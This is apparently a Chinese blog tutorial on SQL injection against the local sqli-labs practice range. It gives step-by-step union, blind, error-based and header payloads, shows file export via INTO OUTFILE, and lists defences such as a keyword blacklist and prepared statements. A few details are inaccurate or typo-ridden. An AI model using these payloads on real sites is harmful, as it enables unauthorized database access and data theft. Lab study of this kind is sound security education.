SQL注入基础

发布于 2022-07-22  496 次阅读


sql-lab靶场搭建

  • phpstudy启动apache2.4.39;mysql5.7.26;网站->管理->php版本5.4.45
  • 文件:sqli-labs-master,放到phpstudy_pro\WWW目录下
  • 在此目录下phpstudy_pro\WWW\sqli-labs-master\sql-connections记事本打开db-creds.inc
  • $dbuser ='root'; $(改为自己数据库的用户名,默认为root)(可通过phpstudy查看)
  • dbpass ='123456';(改为自己数据库的密码,默认为root)

原理

  • 将用户输入拼接到代码中并且被当做sql语句执行
  • 构造闭环,将原php代码注释掉,同时加入自己的代码
如:INSERT INTO security.uagents (uagent, ip_address, username) VALUES ($uagent, $IP, $uname)
  • $uname通过函数从网页get值为1时,加入1 and payload)--+,则原语句变成
INSERT INTO security.uagents (uagent, ip_address, username) VALUES ($uagent, $IP, $uname an
d payload)--+) 成功将payload执行

种类

  • 种类:字符型注入(需要构造闭环),数字型注入(不需闭环)//针对get的注入(--+闭环),针对post的注入(必须登陆成功)(#闭环)
  • 方法:联合查询,显错(报错)注入,时间/布尔盲注,http报文首部字段注入等

注入前准备

判断闭环方式

  • 直接查看php代码
  • 有回显的情况下针对get构造?id=1 and 1=1--+若正确则构造?id=1 and 1=2--+若错误(两种情况:语法报错,或明显的布尔报错,get通常为布尔报错)则说明闭环方式猜测正确
  • 有回显的情况下针对post构造1 or sleep(5)若成功(两种情况:语法报错,或明显的布尔报错,post通常为语法报错)则闭环方式猜测正确.
  • 若网页进行了过滤,则找未过滤的地方判断(极端情况下通过对http报文首部字段的构造判断闭环)
  • 常见闭环方式:1,1',1",1),1'),1"),1')),1"))等

判断注入点

  • 直接查看代码
  • 有get注入get,没有get或get被过滤注入post(通过尝试来判断有无过滤)
  • 注入post时网页有多个输入框可以post时,部分输入框可能进行了过滤处理,需要将代码输入不同框中尝试
  • http报文首部字段注入(如cookie,referer,user-agent等)

注入常用指令与工具

  • 查字段数order by
  • 联合查询union select(注意前后字段数一致,order by的目的就是使联合查询不出现语法错误)
  • 数据库database()
  • 放入所有库名与表名的库information_schema,库中的表tables,其中table_schema为放入库名的字段,table_name为放入表名的字段
  • 放入所有表名与字段名的库information_schema,库中的表columns,其中table_name为放入表名的字段,column_name为放入字段名的字段
  • 获取长度length()
  • 从字符串中截取长度为b位,从第a位为开始substr(string,a,b)
  • 连接符concat(0x7e,payload,0x7e)通常用于报错(此为固定格式)
  • security.emails意思是security下的emails表
  • 限制输出limit 0,1 一次输出1个,从第一个输出
  • 制造报错updatexml(1,concat(0x7e,database(),0x7e),1)(此为固定格式)(只能输出31位,如果数量较大就)
  • 全部输出group_concat(表名/字段名)
  • 判断语句是否为真 if(a,b,c)a成立执行b,不成立执行c
  • bp爆破,右键send to intruder,clear字符,添加字符控制爆破变量,选择custom爆破,选择变量的爆破类型,添加字典,时间爆破可以sleep(500)使数据突出,布尔爆破可以查看页面长度
  • bp抓包,右键send to repeater,修改首部,send,查看response,可以点击render查看返回页面

联合查询

  • 使用:联合查询用于网页对数据有回显位置,联合查询时将代码植入后通过显错位显示传出数据
  • 步骤(以sql-lab l1为例):
  1. 判断闭环方式(同上),测试得闭环方式为'1'

    http://localhost/sqli-labs-master/Less-1/?id=1 and 1=1 正常返回

    http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 正常返回 推测可能存在字符型注入

    http://localhost/sqli-labs-master/Less-1/?id=1' and 1=1 --+ 形成闭环,正常返回 再次验证

    http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 --+ 形成闭环,不返回 证明此为字符型注入,闭环方式为'1'

  2. 判断表的字段数 ,使用order by查询

  3. 函数按字段为表中数据排序,若有3个字段,则order by 4报错

    http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+ 4开始报错,说明有三个字段

  4. 联合查询查看显错位

    故意让第一个条件出错,使得显错位显示第二个条件的输出值,之后都如此

    http://localhost/sqli-labs-master/Less-1/?id=1234' union select 1,2,3 --+显示2,3;说明2,3为显错位

  5. 查询库名

    http://localhost/sqli-labs-master/Less-1/?id=1234' union select 1,2,database() --+ 返回security,说明数据库名security

  6. 查询表名

    http://localhost/sqli-labs-master/Less-1/?id=1'and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="security"(limit 0,1 可通过limit全部输出)--+查得表名为emails

  7. 查询字段名

    http://localhost/sqli-labs-master/Less-1/?id=1'and 1=2 union select 1,column_name,3 from information_schema.columns where table_name="emails"--+ 借助limit 1,1 查得字段为id和mail_id

  8. 查数据

    http://localhost/sqli-labs-master/Less-1/?id=1234' union select 1,id,email_id from security.eamils limit 0,1 --+

布尔盲注

  • 使用:网站无回显位置,但是有报错,通过逐个询问查看网页报错进行爆破
  • 步骤(以lesson5为例):
  1. 判断闭环方式

  2. 判断数据库名字长度与名字

    and length(database())>1

    and substr(database(),1,1)="a"

  3. 爆表名

    and length((select table_name from information_schema.tables where table_schema="库名")limit 0,1)>1

    and substr((select table_name from information_schema.tables where table_schema="库名"limit 0,1),1,1)="a"

  4. 爆字段名

    and length((select column_name from information_schema.columns where table_name="表名"limit 0,1))>1

    and substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),1,1)="a"

  5. 爆数据

    and length(((select * from 库名.表名 limit 0,1))>1

    and substr((select * from 库名.表名 limit 0,1),1,1)="a"

  6. 注意,布尔注入时若库中有多个表,表中有多个字段,有多个数据,则会报错,所以必须limit

时间盲注

  • 使用:网站无回显也无报错
  • 步骤:
  1. 查看包裹方式

  2. 判断数据库名字长度与名字

    and if(length(database())=7,sleep(2),null)--+

    and if(substr(database() ,1,1)="e",sleep(50),null)--+

  3. 爆表名

    and if(length((select table_name from information_schema.tables where table_schema="库名"limit 0,1)>1,sleep(50),null)--+

    and if(substr((select table_name from information_schema.tables where table_schema="库名"limit 0,1),1,1)="a",sleep(50),null)--+

  4. 爆字段名

    and if(length((select column_name from information_schema.columns where table_name="表名"limit 0,1))>1,sleep(50),null)--+

    and if(substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),1,1)="a",sleep(50),null)--+

  5. 爆数据

    and if(length((select 字段名 from 表名 limit 0,1))>1,sleep(50),null)--+

    and if(substr((select 字段名from 表名 limit 0,1) ,1,1)="e",sleep(50),null)--+

报错注入

  • 使用:网页未对报错信息进行拦截
  • 步骤:
  1. 查看字段数

  2. 非法传递库名

    union select 1,2,updatexml(1,concat(0x7e,database(),0x7e),1)–-+// 或者直接and updatexml(1,concat(0x7e,database(),0x7e),1)–-+//

  3. 非法传递表名

union select 1,2,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security',0x7e),1)–-+

或and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘库名’),0x7e),1)–-+

  1. 非法传递字段名

    union select 1,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="表名"),0x7e),1)–-+

    或and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="表名"),0x7e),1)–-+

  2. 非法传递数据

    union select 1,2,updatexml(1,concat(0x7e,(select group_concat(id) from security.emails),0x7e),1)–-+

首部字段注入

  • 选择要注入的首部字段,如果无法查看源码则只能依次尝试,寻找与数据库发生交互的字段

  • 许多字段注入需要登陆

  • insert into 哪里就向哪里注入(与数据库交互)

  • 如 INSERT INTO security.uagents(uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)

    则针对values(1,1,1)进行闭环,将VALUES ('$uagent', '$IP', 符号(markdown语法错误打不出来哈哈哈)uname)闭环为VALUES ('1',1,payload)#, '$IP', $uname)

  • 建议and updatexml()而不是select 1,1,updtexml()

结果输出到文件

  • 不知道文件地址可以爆破(未尝试)
  • 输出需要权限,权限的获取方法:
  1. 查看权限

    靶机数据库后台执行 SHOW VARIABLES LIKE "secure_file_priv";

  2. 返回结果

    secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
  3. 修改权限

    my.ini加入以下内容

    [mysqld] secure_file_priv="D:\phpstudy_pro\Extensions\MySQL5.7.26\data"

  • union select 1,2,database() into outfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/data/aa.txt'--+注意斜杠方向与windows不同

防注入常见方法

  1. 限制数据类型

    限制传入数据为整型,如is_numeric($_GET[‘id’])使得注入语句无法生效

  2. 正则表达式匹配关键词

    为传入数据添加黑名单,如

    $id=$_POST['id'];
    if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) { 
           die('stop hacking!'); //过滤了select等词语
  3. 函数过滤转义

    在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’和 " 符号加上/ 防止转义如\n,\r不起作用, 比如:

    ?id=1' and 1=1# ===> ?id=1/' and 1=1#

    另外还有addslashes(),也具有相同的效果。

    默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

  4. 预编译语句

    将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构

    $query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
    $stmt=$mysqli->prepare($query);
    $stmt->bind_param("sss",$val1,$val2,$val3);
    $val1="Stuttgart";
    $val2="DEU";
    $val3="Baden";
    //execute the statement
    $stmt->execute();

    预编译语句是最佳方式,并不是说只是使用这一种方法就能够防止SQL注入,而实际上预编译也存在注入绕过的问题,并且也不是所有的地方都能够使用预编译语句。

届ける言葉を今は育ててる
最后更新于 2024-02-07